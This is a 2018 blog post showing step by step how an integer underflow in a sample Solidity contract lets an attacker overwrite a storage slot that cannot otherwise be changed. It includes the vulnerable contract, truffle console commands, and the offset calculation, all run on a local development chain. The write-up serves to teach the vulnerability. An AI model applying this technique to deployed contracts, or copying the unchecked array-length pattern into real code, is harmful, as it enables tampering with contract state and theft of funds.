Manipulate Ethereum Storage By exploiting integer underflow vulnerability.

tagomaru
3 min readNov 14, 2018

In Ethereum space, there are some major vulnerablities such as Reentrancy, TOD, Timestamp dependence, and so on.

On the other hand, smart contract has traditional vulnerability like integer overflow/underflow.

The below new concet caught my eyes.

This is so interesting! This concept is one of integer underflow, but this results in manipulating storage which cannot be updated from exteral.

I explain why this is vulnerable and how to exploit this contract since the above site does not explain how to exloit in detail. I think understainding exploiting is the best way to understand vulnerability.

contract UnderflowManipulation {
address public owner;
uint256 public manipulateMe = 10;
function UnderflowManipulation() {
owner = msg.sender;
}

uint[] public bonusCodes;

function pushBonusCode(uint code) {
bonusCodes.push(code);
}

function popBonusCode() {
require(bonusCodes.length >=0); // this is a tautology
bonusCodes.length--; // an underflow can be caused here
}

function modifyBonusCode(uint index, uint update) {
require(index < bonusCodes.length);
bonusCodes[index] = update; // write to any index less than bonusCodes.length
}

}

This is source code from the above link site.

Anybody can call functions “pushBonusCode, popBonusCode, and modifyBonusCode”. manipulateMe cannot be updated.

Demo

1. deploy contract on truffle console

2. Look into storage. (ufm is variable to define deployed contract)

truffle(development)> web3.eth.getStorageAt(ufm.address,0)
'0x000000000000000000000000b39056f52a9d5e04d98b171d49711f6ed4ae5f99'
truffle(development)> web3.eth.getStorageAt(ufm.address,1)
'0x000000000000000000000000000000000000000000000000000000000000000a'
truffle(development)> web3.eth.getStorageAt(ufm.address,2)
'0x0000000000000000000000000000000000000000000000000000000000000000'

storage index#0 is assigned for owner state. index#1 is assigend for manipulateMe state

3. push bonus code twice

truffle(development)> ufm.pushBonusCode.sendTransaction(0x100,{from:web3.eth.accounts[0],gas:5000000})
'0x30e0724455efa74ad6cde1a1c478c913ceb323945fc5c44cf1dfd52b0a615137'
truffle(development)> ufm.pushBonusCode.sendTransaction(0x100,{from:web3.eth.accounts[0],gas:5000000})
'0x97ed0a4fad18013846f68b64ccd7ae547ad66897f318d0a11393a0106c8baac9'
truffle(development)> web3.eth.getStorageAt(ufm.address,2)
'0x0000000000000000000000000000000000000000000000000000000000000002'

Looks OK. index#2 is assigned for bonusCodes.length.

Where are values of bonusCodes? bonusCodes is dynamic array. You have to know how dynamic array values are stored on storage.

4. Look into bonusCodes values.

truffle(development)> web3.sha3("0x0000000000000000000000000000000000000000000000000000000000000002", {encoding:"hex"})
'0x405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace'
truffle(development)> web3.eth.getStorageAt(ufm.address,"0x405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace")
'0x0000000000000000000000000000000000000000000000000000000000000100'
truffle(development)> web3.eth.getStorageAt(ufm.address,"0x405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5acf")
'0x0000000000000000000000000000000000000000000000000000000000000100'

web3.sha3 is to calculate sha3. At the first command, I caluculated sha3 for 0x2. Why 0x2? This 0x2 is storage index of bonusCodes. (Not bonusCodes.length). In Ethereum, dynamic array values store in index which starts from sha3 of storage index indicating dynamic array length. In fact, you can find the values “0x100” of bonusCodes on the indexes of “0x405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace” and “0x405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5acf”.

Storage dump image is like below….

Storage Dump

5. Pop twice

truffle(development)> ufm.popBonusCode.sendTransaction({from:web3.eth.accounts[0],gas:5000000})
'0xff3d651c01eb5bce51f6a3d7219c4eeef13d7d430e15b00bad1b905081c61629'
truffle(development)>ufm.popBonusCode.sendTransaction({from:web3.eth.accounts[0],gas:5000000})
'0x20e66b72b30ab91b4744468e567b00fca8b3289aee6a0e4c63f484043fbe2d2e'
truffle(development)> web3.eth.getStorageAt(ufm.address,2)
'0x0000000000000000000000000000000000000000000000000000000000000000'

Here I poped twice to make bonusCodes empty.

6. Underflow

truffle(development)> ufm.popBonusCode.sendTransaction({from:web3.eth.accounts[0],gas:5000000})
'0x37e6f91d2d5037207ff6bac7499d120e6bb36c27df4e89e6be2a4aaf5fed47a0'
truffle(development)> web3.eth.getStorageAt(ufm.address,2)
'0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'

Oops! By pop one more, underflow happend at bonusCodes.length!!!! Here, point is that we will be able to set huge value more than actual bonusCodes.length to modifyBonusCode function because “require(index < bonusCodes.length);” is true thanks to underflow (“0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff”)!. From here, I manipulate manipulateMe state.

7. Calculate offset

>>> hex(2 ** 256 - 0x405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace + 1) 
'0xbfa87805ed57dc1f0d489ce33be4c4577d74ccde357eeeee058a32c55c44a533'

This is on python3. I calculated offset from bonusCodes start index to manipulateMe. 2 ** 256 means max slot size of storage. “0x405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace” is offset from bonusCodes start index to max size. 1 is storage index for manipulateMe (It means offsef from index 0).

8. Exploit

truffle(development)> ufm.modifyBonusCode.sendTransaction("0xbfa87805ed57dc1f0d489ce33be4c4577d74ccde357eeeee058a32c55c44a533", 0x777, {from:web3.eth.accounts[0],gas:5000000})
'0x0675634a65036d9f008609b8acf743f50a0b18efea9890720a0dace74f4f76cf'
truffle(development)> web3.eth.getStorageAt(ufm.address,1)
'0x0000000000000000000000000000000000000000000000000000000000000777'

Set the calculated offset on modifyBonusCode and sent transaction. Here overflow happens during calculating “0xbfa87805ed57dc1f0d489ce33be4c4577d74ccde357eeeee058a32c55c44a533” + “0x405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace” internally.

I got it!!!

I could manipulate manipulateMe which cannot be updated.

--

--